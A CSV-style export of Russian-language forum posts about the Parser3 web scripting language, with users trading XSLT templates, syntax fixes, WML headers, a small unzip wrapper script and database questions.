		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=0\">\
	<tr><td><xsl:attribute name=\"bgcolor\">blue</xsl:attribute>\
	------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		</xsl:if>\
	</xsl:if>\
<!-- level 4 -->\
	<xsl:if test=\"count(ancestor::menu)=4\">\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=1\">\
			<xsl:if test=\"@selected='yes'\">\
	<tr><td><xsl:attribute name=\"bgcolor\">green</xsl:attribute>\
	--------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
			<xsl:if test=\"not(@selected)\">\
	<tr><td><xsl:attribute name=\"bgcolor\">red</xsl:attribute>\
	--------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
			</xsl:if>\
	<xsl:apply-templates match=\"menu\"/>\
		</xsl:if>\
		<xsl:if test=\"count(descendant-or-self::menuitem[@selected='yes'])=0\">\
	<tr><td><xsl:attribute name=\"bgcolor\">blue</xsl:attribute>\
	--------<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute><xsl:value-of select=\"@name\" /></a></td></tr>\
		</xsl:if>\
	</xsl:if>\
</xsl:template>\
\
\
</xsl:stylesheet>}]\
\
##################################################################################\
$transformedDoc[^document.transform[$style]]\
$html[^transformedDoc.string[$.method[html]]]\
\
#<pre>^taint[html][$html]</pre>\
$html\
[/code]"
"40190","я тут вижу только одну проблему - Парсер не поддерживает формат %uXXXX, возможно в следующих версиях ситуация изменится, разработчики не против, если кто нибудь [url=\"http://www.parser.ru/forum/?id=37773\"]пришлёт соответсвующий патч[/url]. Возможно и без патчей появится, ибо всё более становится похожим на стандартную фичу, новые Firefox и Opera ескейпят именно в таком формате, а PAF как-то [url=\"http://www.parser.ru/forum/?id=24502\"]намекал[/url] что если оно будет хоть как-то стандартно, то без проблем :)\
\
Или используйте другие javascript-функции кодирования URI, подробнее смотрите по приведённой вами ссылке и в обсуждении статьи в тамошнем форуме...\
\
P.S. Сомневаюсь что кто-то покажет исходники, тем более что для XMLHttpRequest это тривиально, а для JSHttpRequest все подробно по-русски описано в статье..."
"40191","Страница может открыться по ссылкам:\
...abc.html\
...abc.html?razdel=first\
...abc.html?razdel=second\
...abc.html?razdel=third\
В abc.html пишу\
[code]$razdel(^if(def $form:razdel) {$form:razdel} {first}\
)[/code]\
...и далее использую (точнее хочу использовать) переменную $razdel для компоновки страницы,\
а парсер выдает дебуг сообщение\
---------------------------\
invalid number (double)\
first\
---------------------------\
т.е. он зачем-то пытается переменную $razdel преобразовать в double\
[color=\"#ff0000\"]НЕ ПОНИМАЮ![/color]"
"40192","э-э-э. да, видимо тут я был не прав, насоветовал :)\
\
[code]\
<item label=\"root\">\
	<item label=\"object 1\">\
		<item label=\"object 1.1\"/>\
		<item label=\"object 1.2\"/>\
		<item label=\"object 1.3\"/>\
	</item>\
	<item label=\"object 2\"/>\
</item>\
\
<xsl:template match=\"//menu\">\
	<table width=\"100%\">\
		<xsl:apply-template match=\".//menuitem\"/>\
	</table>\
</xsl:template>\
\
<xsl:template match=\"//menuitem\">\
	<tr><td bgcolor=\"red\">\
		<!-- нужно что-то типа style=\" padding-left: {count(ancestor::count) * 3}em \", думаю с повторным выводом тире сами разберетесь... -->\
		<a href=\"{@link}\">\
			<xsl:value-of select=\"@label\" />\
		</a>\
	</td></tr>\
</xsl:template>\
[/code]"
"40193","а так есть подозрение, что это не парсер, а вы пытаетесь использовать эту текстовую переменную как double"
"40195","[code]\
$razdel[^if(def $form:razdel)[color=\"#cccccc\"]тут был пробел[/color]{$form:razdel}[color=\"#cccccc\"]тут был пробел[/color]{first}]\
# к тому же в круглых скобках хранятся числа:\
$number(1)\
# а в квадратных уже - строки:\
$string[строка]\
[/code]\
\
[color=\"#ffffff\"]Читайте доки. Они рулят.[/color]"
"40196","@body_additional[] \
[Дополнительно...]\
\
@body_main[]\
$razdel(^if(def $form:razdel){$form:razdel}{first}\
)"
"40198","квадратные скобки помогли, НО в четвертом уроке \
[code]$day(^if(def $form:day){[/code] \
          ^^               ^^\
(скобки круглые! )\
[code]   $form:day \
}{ \
   $now.day \
})[/code]"
"40200","Вы переменной $razdel присваиваете вычисляемое значение.\
$имя_переменной(выражение) переменной присваивается число или результат математического выражения \
\
Отсюда и ошибка. Используйте квадратные скобки."
"40201","т.е. в р3 строке  значение присваивать в кр. скобках нельзя?\
хотя в документации я это видел... :-)\
ощибка из разряда \"досадных\" :-)\
Всем спасибо"
"40202","Ход мыслей мне ясен, но я пытался добиться того чтобы в XML-е выделять единственный элемент, а разные уровни навигации могут быть в разных местах и по разному выводиться.\
\
В последнем примере решил эти задачи, может есть другое решение."
"40203","а зачем им в разных местах быть? если их нужно выводить в разных местах и поразному, то это надо шаблоном делать а не в дереве. Дерево, оно на то и дерево, что каждый листочек на дереве висит :)) если он на земле лежит - упал и не является родственником :)\
\
ЗЫ загляните немного вперед, если вам придется рекурсивно строить дерево парсером, как вы это будуте делать? ;)"
"40204","Я сделал так:\
[code]\
^days.menu{\
   <tr>\
###########Ввел переменную, ну типа... булеву :-)\
      $true_day[1]\
###########по дефолту она - правда\
      ^for[week_day](0;6){\
         ^if($days.$week_day){\
###########а начиная с \"завтра\"\
            ^if($days.$week_day>$now.day){$true_day[0]}\
###########она - ложь\
            ^if($days.$week_day==$now.day){\
            <td align=\"middle\" bgcolor=\"#FFFF00\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               <b><a href=\"/news/?day=$days.$week_day\">$days.$week_day</a></b>\
               </font>\
            </td>\
            }{\
            <td align=\"middle\" bgcolor=\"#FFFFFF\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               ^if($true_day){\
                       <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
               }{$days.$week_day}\
               </font>\
            </td>\
            }\
         }{\
            <td bgcolor=\"#DFDFDF\">&nbsp</td>\
         }\
      }\
   </tr>\
}\
[/code]"
"40205","Вы не видели этого?\
----------------------------\
Теперь у нас есть форма, позволяющая помещать записи в нашу БД. Занесите в нее несколько записей. А теперь давайте их оттуда извлекать, но перед этим неплохо бы немного доработать функцию calendar, созданную на предыдущем уроке. Нужно, чтобы в календаре ставились ссылки на дни месяца, а выбранный день передавался как поле формы. Тогда по числам-ссылкам в календаре пользователь будет попадать в архив новостей за выбранный день. Модернизация эта неcложная, просто добавим немного HTML в auto.p раздела news: $month.$week_day в коде if обнесем ссылками таким образом: \
\
[code]<a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>[/code]\
\
В результате мы получаем возможность использовать наш календарь в качестве меню доступа к новостям за определенный день.\
-------------------------------------"
"40206","просто в xdoc::create уходит DOCTYPE с ссылкой на .ent файл"
"40207","[code]\
^документ.transform[шаблон][\
   $.param1[value1]\
]\
[/code]\
а в .xsl: \
<xsl:param … /> [см. http://www.w3.org/TR/xslt#variables]"
"40208","если вы будете обновлять любое поле записи, и не скажете, что \
[code]\
update ...\
set\
   ...\
   timeStampField1=timeStampField1\
[/code]"
"40209","уже много говорилось, parser читает стандартные CGI переменные окружения, что ему передали, то и считывает. как в них заглянуть обсуждалось не раз."
"40210","что вы сообразили к этому моменту?"
"40211","что же такого приходится делать на php?\
сам wml сайты не делал, но не помню, чтобы у нас с этим были проблемы.."
"40212","Когда мне приходится вставит в страницу форму, вот ее то я и пишу в РНР\
а потом опять возвращаюсь в Парсер.\
Мне очень понравился Парсер, но бывает наткнешься на какой нибудь \"гвоздик\",\
и приходиться прибегать к низкоуровневому программированию."
"40214","загляни на\
[url=\"http://www.parser.ru/examples/trees/\"]Построение деревьев[/url]"
"40215",".. тем самым повышаю степень возможной его (логической) вложенности до 2 уровней, заместо одного ака в доке =)\
\
Это нормально или я извращенец и он был придуман только чтоб  хранить xml либо uri-encoded подобные данные?"
"40216","^if($news.topics ne ''){\
			 $stuff[^table::create{id	date	header	source	sourcelink}] \
			<h3>Статьи по теме</h3>\
			<hr color=\"green\" size=\"1\">\
			$parts[^rsplit[$news.topics;[,\\.]\\s?]]\
			^parts.menu{\
			$topics[^table::sql{select \
			     id, date, header, source, sourcelink, body\
			  from \
			     news\
			  where\
			       header like '%$parts.piece%' or body like '%$parts.piece%'\
			 }] \
			^if($topics){\
				^stuff.join[$topics]}{}\
			}\
\
			$h[^stuff.hash[id;header][$.distinct(1)]]			\
			<ul>\
			^h.foreach[key;value]{\
			    ^if($key ne $form:id){<li>  <a href=\"/news/details/index.html?id=$key\" style=\"color:green\">$value.header</a><br>}\
			}[]\
			</ul>\
		}{}"
"40217","меню и так рекурсией строится, просто навигация будет по разному оформлена.\
\
в некоторых шаблонах надо для пункту меню таблицу делать, где картинку выводить, где просто текст и т. д., а не паддингом, это недостаточно, понятно что для каждого уровня нужен будет свой шаблон, этого я и хотел."
"40218","помогите пожалуйста с регулярными выражениями. нужно проверить корректность введенного электронного адреса. понятно, готового решения я не прошу, хотя бы на нескольких отвлеченных примерах (в документации их, кстати, недостаточно, чтобы до конца понять что к чему).\
\
[b]например, как проверить следующую строку:[/b]\
содержит знак %, часть перед процентом должна начинаться с цифры и содержать до 10 символов (заглавные и прописные латинские, цифры, тире), после процента может быть не более 15 любых символов (только цифры).\
\
буду также признателен за любые другие примеры.\
заранее благодарен, Дмитрий"
"40219","Есть две таблицы форума:\
\
[code]\
CREATE TABLE `fmessage` (\
  `fmessage_id` int(10) NOT NULL auto_increment,\
  `parent_id` int(10) NOT NULL default '0',\
  `thread_id` int(10) NOT NULL default '0',\
  `level` int(10) NOT NULL default '0',\
  `hierarchy` text NOT NULL,\
  `fmessage_type_id` int(1) NOT NULL default '0',\
  `title` varchar(255) NOT NULL default '',\
  `description` text,\
  `author_name` varchar(255) NOT NULL default '',\
  `author_id` int(10) NOT NULL default '0',\
  `dt_published` datetime NOT NULL default '0000-00-00 00:00:00',\
  `dt_edit` datetime NOT NULL default '0000-00-00 00:00:00',\
  `is_published` tinyint(4) NOT NULL default '1',\
  `is_active` tinyint(4) NOT NULL default '1',\
  `is_default` tinyint(4) NOT NULL default '0',\
  `rights_to_access` int(10) NOT NULL default '0',\
  `only_registred` tinyint(4) NOT NULL default '0',\
  PRIMARY KEY  (`fmessage_id`),\
  UNIQUE KEY `message_id` (`fmessage_id`),\
  KEY `fmessages_type_id` (`fmessage_type_id`),\
  KEY `parent_id` (`parent_id`),\
  KEY `thread_id` (`thread_id`),\
  KEY `level` (`level`),\
  KEY `is_published` (`is_published`)\
)\
\
CREATE TABLE `fbody` (\
  `fmessage_id` int(10) NOT NULL,\
  `body` text NOT NULL,\
  KEY `fmessage_id` (`fmessage_id`)\
)\
[/code]\
\
При добавлении сообщения в форум сначала записывается в [b]fmessage[/b], а затем в [b]fbody.fmessage_id[/b] вставляется значение fmessage.fmessage_id, т.е. last_insert_id... Если текста у сообщения нету, значит в [b]fbody[/b] ничего не пишется.\
\
С этим все просто.\
\
Но не могу сообразить как при выборке этого сообщения проверять есть ли в [b]fbody[/b] запись с [b]fbody.fmessage_id = $fmessage.fmessage_id[/b]\
\
[code]\
@getThreadMessages[thread_id]\
^if(def $thread_id && ^thread_id.int(0) != 0){\
	$result[^csql.table{\
		SELECT\
			fmessage_id AS message_id\
			parent_id,\
			level,\
			title,\
			author_name,\
			author_id,\
			dt_published,\
			dt_edit,\
			is_active\
		FROM\
			fmessages\
		WHERE\
			thread_id = $thread_id AND\
			is_published = 1 AND\
			fmessage_type_id = $MESSAGE_ID\
		ORDER BY\
			hierarchy DESC,\
			dt_published DESC\
	}]\
}\
[/code]"
"40221","+ см. пример про деревья, там это есть."
"40223","Всё используется в CMS. Приходите заказывать сайт или работать :)\
Ссылку на примеры дал в предыдущем сообщении. Если просто хочется использовать, то лучше этого не делайте, дождитесь, пока действительно понадобится, там и разбететесь что нужно передать и куда вставлять :)"
"40224","Пытаюсь пропарсить xml с \"деревом\" - получаю out of memory: failed to allocate clean 5124 bytes. heap_used=31862784, heap_free=0, bytes_since_gc=32528808, total_bytes=32528808\
\
Никто не сталкивался с такой проблемой? Заранее спасибо за ответ.."
"40225","Подскажите как написать"
"40226","Пока сообразил вот что. Пишу:\
[code]\
text before cut <cut text=\"what is after cut?\">text after cut</cut>\
[/code]\
и обрабатываю:\
[code]\
<xsl:template match=\"cut\">\
  <a>\
    <xsl:attribute name=\"href\"><!-- link --></xsl:attribute>\
    <xsl:value-of select=\"@text\"/>\
  </a>\
</xsl:template>\
[/code]"
"40229","пришлось круто уменьшать само xml дерево, и методы его формирующие"
"40230","[code]\
...\
<xsl:apply-templates select=\"item\" mode=\"location\" />\
...\
\
\
\
	<xsl:template match=\"item\" mode=\"location\">\
		<table>\
			<tr>\
				<td>\
						<xsl:value-of select=\"name\"/>\
				</td>\
			</tr>\
			<xsl:if test=\"item\">\
				<tr>\
					<td style=\"padding-left: 6px;\"><xsl:apply-templates select=\"item\" mode=\"location\"/></td>\
				</tr>\
			</xsl:if>\
		</table>\
	</xsl:template>\
\
[/code]"
"40232","Попробуйте ^memory:compact[] сразу перед парсингом. Если не поможет, то, если дерево большое, попробуйте [попросить хостера] увеличить объем выделяемой памяти раза в два-три."
"40233","Почему-то обычным $form:auth.passwd не проходит... Кто-нибудь сталкивался?"
"40234","пожалуйста, ответьте на вопрос?"
"40235","что lj это жж ясно, но не фанат = не знаю, что там за <cut/>, и что он такого должен особенного делать, чего вы вашим правильным xsl не можете.."
"40236","Помогите советом(а лучше скриптом).Диплом горит, не могу решить пару задачь.\
1)У меня есть выпадающий список select , есть кнопка добавить. при её нажатии я перехожу на другую страницу, добавляю что надо и вот вопрос: как мне вернуться на туже форму без её полного обновления, т.е. что бы обновился один select? \
2)Функция аналогичная кнопке \"Назад\" в ie. я вызываю некоторую форму из разных форм, так вот как мне по нажатии на одну кнопку возвращаться на ту форму, из которой я пришол?\
Заранее благодорю всех кто сможет помочь!!!"
"40237","Как понял это нужно писать JavaScript, извини но я им не владею..."
"40238","Может это поможет...\
[code]\
<a href=\"javascript:history.back(1)\">назад</a>\
[/code]"
"40239","Есть задача: сделать аплоад нескольких фоток сразу (от 3 до 15). Если с обработкой аплоада одной фотки все понятно, то как быть с несколькими сразу? Веть надо поставить новое название для каждой фотки (планирую сделать его как id последней записи_1, id_2 и т.п.)... Подскажите как должен выглядеть мех-м обработки?\
П.С. \
В форуме рыл, но что-то не нашлось решения проблемы..."
"40240","Почему при перекидывании \
^use[includes/login.p]\
из функции @main[] в @auto[] перестаёт правильно работать с Куками?\
\
Грубо говоря функции в login.p не видят кук."
"40242","Вот так выглядит страница на РНР, которая формирует WML и передает в броузер:\
 \
<?php\
header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");\
header(\"Pragma: no-cache\");\
header(\"Content-type: text/vnd.wap.wml\");\
echo\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\";	 \
echo\"<!DOCTYPE wml PUBLIC \\\"-//WAPFORUM//DTD WML 1.1//EN\\\"\".\" \\\"http://www.wapforum.org/DTD/wml_1.1.xml\\\">\"; \
?>\
<wml>\
	<card id=\"graph\" title=\"Настройка\">\
		<p>Валюта 1\
				<select name=\"cur\" title=\"Валюта\">\
						<option value=\"eur\">EUR</option>\
						<option value=\"gbp\">GBP</option>\
						<option value=\"aud\">AUD</option>\
						<option value=\"cad\">CAD</option>\
						<option value=\"chf\">CHF</option>\
						<option value=\"jpy\">JPY</option>\
				</select>\
		</p>\
		<p>Период\
                <select name=\"per\" title=\"Период\">\
                        <option value=\"1\">1 мин.</option>\
                        <option value=\"15\">15 мин.</option>\
                        <option value=\"30\">30 мин.</option>\
                </select>\
        </p>\
		<p>Цвет линии \
				<select name=\"clr\" title=\"Линия\">\
						<option value=\"0xFF0000\">Красный</option>\
						<option value=\"0x00FF00\">Зеленый</option>\
						<option value=\"0x0000FF\">Синий</option>\
						<option value=\"0xFFFF00\">Желтый</option>\
						<option value=\"0xFF00FF\">Пурпур</option>\
						<option value=\"0xC0C0C0\">Серый</option>\
						<option value=\"0xFFFFFF\">Белый</option>\
				</select>\
		</p>\
		<p>Фон\
				<select name=\"bgd\" title=\"Фон\">\
						<option value=\"pic\">Рисунок</option>\
						<option value=\"0xFFFFFF\">Белый</option>\
						<option value=\"0x000000\">Черный</option>\
						<option value=\"0xC0C0C0\">Серый</option>\
						<option value=\"0xFFFF00\">Желтый</option>\
						<option value=\"0x000080\">Синий</option>\
				</select>\
		</p>\
		<p>Толщина линии\
				<select name=\"line\" title=\"Линия\">\
						<option value=\"2\">2 пикс.</option>\
						<option value=\"1\">1 пикс.</option>\
				</select>\
		</p>	\
                <do type=\"accept\" label=\"Рисовать\">\
                        <go href=\"graph.wml\" method=\"get\">\
                                <postfield name=\"cur\" value=\"$(cur)\"/>\
                                <postfield name=\"per\" value=\"$(per)\"/>\
                                <postfield name=\"clr\" value=\"$(clr)\"/>\
                                <postfield name=\"bgd\" value=\"$(bgd)\"/>\
                                <postfield name=\"line\" value=\"$(line)\"/>\
						</go>\
                </do>\
			<do type=\"prev\" label=\"Back\"><prev/></do>\
		<p><a href=\"index.php\">Назад</a></p>\
	</card>\
</wml>\
А на парсер невозможно написать форму, так, чтоб она отображалась в телефоне.\
Выдает ошибку \"Не возможно разобрать WML\""
"40243","у меня в IE и в Опере вроде работает, код примерно такой:\
[code]\
$response:cache-control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]\
$response:pragma[no-cache]\
$response:content-type[text/vnd.wap.wml]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">\
\
<wml>\
# здесь ваш wml, skipped...\
<postfield name=\"cur\" value=\"^$(cur)\"/>\
<postfield name=\"per\" value=\"^$(per)\"/>\
[color=\"#888888\"]...[/color]\
</wml>\
[/code]"
"40245","Есть в базе древовидная структура страниц, и таблица блоков для них(навигация, меню, хлебные крошки и т. д.), при выводе берется шаблон для страницы и обрабатывается xsl и обработчиком, где должен показаться тот или иной блок определяет шаблон страницы, тогда вопрос зачем в базе привязка блока к странице(разделу) в данный момент она у меня есть, если в шаблоне нет вызова этого блока он не покажется?"
"40247","[quot]навигация, меню, хлебные крошки и т.д.[/quot]\
\
Так как навигация так или иначе присутсвует почти на всех страницах, в моей реализации подобного движка она не является блоком, а встроена в сам движок. \
Любое меню в том числе и хлебные крошки можно получить из обычного xml дерева.\
\
[quot]зачем в базе привязка блока к странице(разделу)[/quot]\
Не очень ясен вопрос... вы текст собираетесь разный отображать на страницах или у вас все блоки общие?"
"40248","меню отдельный xml блок из него делается навигация и крошки, не на всех страницах это нужно.\
\
есть обычные страницы и динамические (новости, каталог и т. д.) статичные страницы (обычный текст), могут оформляться разными шаблонами (скажем нет одной колонки), в общем конечный вид страницы определяет шаблон (xsl) страницы в нем вызываются необходимые блоки (которые появляются благодаря обработчику), тогда смысл привязывать блоки к страницам в базе?"
"40249","... можно заливать zip с изображениями, потом его раскрывать и делать что хочешь. Я так порядка трёхсот картинок на сайт кидал и сразу ресайзил их имаджмагиком и ничего не падало."
"40250","В моей реализации обработчик блока создает данные только для блока который обрабатывает. (других блоков он не создает!)\
Обработчик объекта в свою очередь собирает xml блоков, а также если нужно создает дополнительные данные для объекта. \
\
Для меня связка (block_to_object) нужна для того, чтобы вытащить из БД только [b]необходимые[/b] блоки для построения xml запрошенной страницы.\
Также в этом случае есть возможность временно отключить (is_published) блок для конкретного объекта."
"40251","Допустим есть объект типа hashfile $HF\
\
Вот такой код на версии 3.1.3 для win приводит к какой-то экзотической ошибки билиотеки c++ апача.. =(\
\
[code]\
# Определяем новый пустой ключ у хеша\
$HF.newkey[]\
\
# Пытаемся вывести содержимое\
$HF.newkey\
[/code]\
\
На 3.1.4 не проверял."
"40252","Сваял чат. Но вот только под IE не выполняется:\
[code]$response:refresh[ \
   $.value(0) \
   $.url[/] \
][/code]\
Порылся по форуму. Но как-то безрезультатно...\
Чё делать?"
"40254","У меня\
[quot]$response:refresh[ \
   $.value($perem) \
   $.url[/] \
][/quot]\
, где $perem - частота обновления. Её юзер сам выставляет."
"40258","Попробую обязательно.\
Еще, я вынес заголовок WML кода\
@header[]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\" \"http://www.wapforum.org/DTD/wml_1.1.xml\">\
<wml>\
<card id=\"card\" title=\"^title[]\">\
\
и футер в отдельный файл классов и прописал\
к нему путь в начале файла.\
\
@USE\
/classes/wml.p\
и теперь на всех страницах пишу только сам исполняемый код."
"40259","В логи ничего не пишет. Просто не логинет и все.\
\
Никто не сталкивался?\
Наверняка ведь элементарно все :("
"40261","Тоже не фанат :)\
В общем, нужно из\
[code]text before cut <cut text=\"read more\"/> text after cut[/code]\
делать\
[code]text before cut <a>read more</a>[/code]"
"40262","Подскажите, плиз, как можно использовать (раз)архивирование файлов на сайте под parser? \
\
Пока вижу только вызов внешней программы (тогда просьба подсказать, что на *nix работает с зипованными файлами) или есть еще варианты?"
"40263","а они нужны?"
"40264","как понял, вас смущал пустой случай?\
дык поставьте в xsl соответствующий if, и дело с концом."
"40265","и вы рискуете стукнуться в ограничение на размер(ключ+данные).\
\
если нужна вложенность, в данных можно хранить… имя вложенного hashfile.\
\
так можно организовать вложенность любой глубины, важно только обеспечить уникальность имён.\
\
\
вообще: hashfile задуман для вещей, которые с помощью баз данных будут работать заметно медленнее.\
ни в коем случае не для замены базы данных."
"40266","Даже я бы сказал грабля...\
\
Была такая проблема: у меня в auto.p есть метод init[]... Вот код, проще будет:\
\
[code]\
@init[]\
^MAIN:pSQL.server{\
	$auth[\
		^my_auth::init[\
			$cookie:CLASS;\
			$form:fields;\
			$.csql[$pSQL]\
			$.timeout(1)\
			$.event_lifetime(60)\
			$.event_min_count(300)\
		]\
	]\
	$forum[\
		^forum::init[\
			$.csql[$pSQL]\
			$.auth[$auth]\
			$.base_path[/forum]\
			$.is_forums_disabled(1)\
		]\
	]\
}\
# end @init[]\
[/code]\
\
Так вот локально все нормально, а на сервек когда загружаю, то он как-будто бы перестает видить сточку ^MAIN:pSQL.server{ и }... Ну это я поборол вот так:\
\
[code]\
^MAIN:pSQL.server{^init[]}\
[/code]\
\
Этот метод я в auto[] вызываю.\
\
Теперь новая проблема. Новое сообщение когда добавляется открывается новое окно. Ну вроде как здесь. И в этом уже сообщении я тоже должен проинициализировать авторизацию и форум. Вот кусок моего addmessage.html:\
\
[code]\
@auto[]\
^MAIN:pSQL.server{\
	$auth[\
		^my_auth::init[\
			$cookie:CLASS;\
			$form:fields;\
			$.csql[$pSQL]\
			$.timeout(1)\
			$.event_lifetime(60)\
			$.event_min_count(300)\
		]\
	]\
	$forum[\
		^forum::init[\
			$.csql[$pSQL]\
			$.auth[$auth]\
			$.base_path[/forum]\
			$.is_forums_disabled(1)\
		]\
	]\
	^rem{ *** Добавляем сообщение, если был передан флаг постинга формы *** }\
	^if(def $form:do){\
		^forum.insertMessage[$form:fields]\
	}\
}\
\
@main[]\
$auth.is_logon\
[/code]\
\
Так вот на выходе получаю 0, как такое получается — ума не приложу. На главной странице все нормально, пользователь залогинен. Да если бы он был не залогинен, то и кнопочка «Добавить сообщение» даже не появилась бы."
"40267","Здравстуйте!\
\
Имеется parser-3.1.4. Обнаружилось, что при POST'е данных через file::load, parser не выставляет Content-Type. А удаленная сторона ожидает \"Content-Type: application/x-www-form-urlencoded\". Что я делаю не правильно? Не, я понимаю, что можно руками выставить заголовок, но правильно ли это? Я ожидал, что parser, как выступающий в роли http клиента, сам будет выставлять необходимые заголовки.\
\
Спасибо."
"40268","Когда встречается <cut/>, нужно, чтобы текст после него не выводился"
"40269","и поправить с учётом обновлённой версии."
"40270","Перед тем, как напустить на текст темплейты, проверяем, есть ли в нём непарный cut. Если есть, то обрабатываем соответствующим образом.\
[code]\
<xsl:choose>\
  <xsl:when test=\"not(string(content/cut))\">\
    <xsl:apply-templates select=\"content/cut\" mode=\"null\"/>\
  </xsl:when>\
  <xsl:otherwise>\
    <xsl:apply-templates select=\"content\"/>\
  </xsl:otherwise>\
</xsl:choose>\
[/code]\
Теперь сама обработка cut'а:\
[code]\
<xsl:template match=\"cut\">\
  <xsl:call-template name=\"cut\"/>\
</xsl:template>\
<xsl:template match=\"cut\" mode=\"null\">\
  <xsl:apply-templates select=\"preceding-sibling::node()\"/>\
  <xsl:call-template name=\"cut\"/>\
</xsl:template>\
\
<!-- Common part of template \"cut\" -->\
<xsl:template name=\"cut\">\
  <a>\
    <xsl:attribute name=\"href\"><!-- Here I generate a link --></xsl:attribute>\
    <xsl:choose>\
      <xsl:when test=\"string(@text)\">\
        <xsl:value-of select=\"@text\"/>\
      </xsl:when>\
      <xsl:otherwise>читать дальше&#133;</xsl:otherwise>\
    </xsl:choose>\
  </a>\
</xsl:template>\
[/code]"
"40271","Файл в cgi-bin именуемый unpack\
[code]\
#!/bin/sh\
unzip $1\
[/code]\
Вызов из скрипта:\
[code]\
$f[^file::exec[/cgi-bin/unpack;;${docRoot}srcPath/arc.zip -d ${docRoot}destPath/]]\
[/code]"
"40273","файл лучше положить вне вебпространства, скажем, сюда:\
/../exec\
\
чтобы враги не могли даже думать его запустить так:\
http://server/cgi-bin/unpack"
"40274","Спасибо. Это, я так понимаю, о том, КАК вызвать внешнюю программу. \
Меня интересует, ЧТО вызывать в случае сервера на *nix? Есть там штатные средства работы с zip или нужно искать cgi-приложения? Если второе, не подскажете ли, где поискать? \
Думаю полезен (и не только мне) также опыт работы с разными архиваторами на сервере (если такой имеется). Надеюсь, не слишком многого прошу и не выпадаю в сильный оффтопик :)"
"40275","Попробуйте сделать так, как написал Givi. Естественно заменив srcPath и destPath на нужный путь «источник» и путь «приемник» ну и $docRoot объявите.\
\
Я так понял (с nix-ами дела лично не имел), что есть такая команда:\
\
[b]unzip[/b] [i]путь_к_архиву[/i] -d [i]куда_распаковать[/i]\
(пути указываются начиная от DocumentRoot)\
\
Когда вы вызываете свой скрипт unpack, он собственно выполняет эту команду и все :)\
\
Поправьте если я в чем не прав."
"40276","* @date_add[] есть теперь для всех серверов\
+ добавлен метод @time[]"
"40277","Скажите, а как целесообразнее изобразить админку для класса авторизации?\
А-то я запутался уже.. Кто-нибудь писал наверняка, посоветуйте.\
И практический вопрос. Как получить права текущего залогиненного пользователя на объект понятно.\
А вот как получить права произвольного пользователя или группы на определенный объект?\
Т.е. у меня идёт перечисление групп\
^auth.getGroups[]\
^auth.groups.menu{ .. }\
Как для каждой группы вычислить права на редактируемый объект?"
"40278","в чем проблема?\
я обычно делаю 2 админки.\
1. плящем от объекта: выбрали объект и тут показываем все права, назначенные пользователям/группам/овнеру на этот объект. эффективные права всех пользователей я не показываю тут.\
\
2. пляшем от пользователя/группы: выбрали пользователя и видим список объектов на которые этому пользователю назначены права.\
\
можно сделать третий кусок (в Netware это тое есть): утилита посмотреть эффективные права. тут мы выберем пользователя, объект и утилита покажет какие эффективные права имеет выбранный пользователь на выбранный объект.\
\
[quot]как получить права произвольного пользователя или группы на определенный объект[/quot]\
\
я отвечал уже на этот вопрос в форуме.\
\
[quot]Как для каждой группы вычислить права на редактируемый объект\
[/quot]\
\
а зачем? группа не может редактировать объект. для группы имеет смысл лишь показывать права, выданные ей на этот объект. это ожна запись в таблице acl, доступная через методы класса."
"40279","Ну это вопрос достаточно спорный: что будет проще: написать анзип и ресайз архива или просто ресайз нескольких фоток -)"
"40280","Есть задача: нужно вывести название марок всех товаров, хранящееся в БД. Все хорошо, но товаров одной марки, естественно, может быть больше 1го, т.е. при простом использовании .menu{} получиться несколько одинаковых строк. Подскажите, плз, как избавиться от повторяющихся строк?"
"40283","т.к. это требует написания одного дополнительного файла из трех строк для распаковки архива, а написание front с возможностью загрузки посетителем нескольких файлов требует написание js длинее 3-х строк.\
\
хотя если есть готовый js и готовый файл - одинаково."
"40284","http://dev.mysql.com/doc/mysql/ru/select.html\
\
P.S. неужели это так сложно найти?"
"40286","пришлось хранить ссылку на таблицу.\
\
спасибо за ответ."
"40288","Чат лучше брать отсюда: http://php.spb.ru/chat/\
\
P.S. При всём уважении к создателям Parser'a ;)"
"40290","Увы, по указанной ссылке ничего не скачивается.\
Кроме того, в форуме (или на том сайте?) в своё время было сказано: вот драйвер, а сам sqlite возьмите у разработчика.\
У разработчика на сайте -- более свежая версия, и драйвер sqlite не работает.\
Можно ли выложить работающую версию, напр., в раздел \"прислали пользователи\"?"
"40291","Благодарю!\
Сразу не догадался..."
"40292","У меня чат как часть портала кафедры. Диплом пишу. Всё своё, форум тоже. Вот и чат хотелось бы. Но там везде IE стоит. Чё делать, не знаю..."
"40293","выходили новые версии, так что ссылка видимо и того... а не обновлялось, так как явного интереса не было..."
"40294","Чат на Парсере, по сравнению с чатом Бородина, не будет \"красивым инженерным решением\". Почему в Дипломе не развернуть обоснование внедрения в \"Портал кафедры\" именно чата Бородина? Имхо, подобное только украсило бы Вашу работу. Тем более, что при создании связки чат<-->портал придётся приложить определённые усилия по настройке хостинга и т.п. Об этом тоже можно рассказать в виде ещё одной главы в Дипломе!\
\
Инженер - это творец, а не догматик :) И Диплом - первый экзамен Инженера на зрелость. По собственному опыту: все действительно стройные и логичные инженерные решения - непременно \"красивы\". Чат Бородина - красивое изделие!\
\
\"Красота спасёт мир!\" :)"
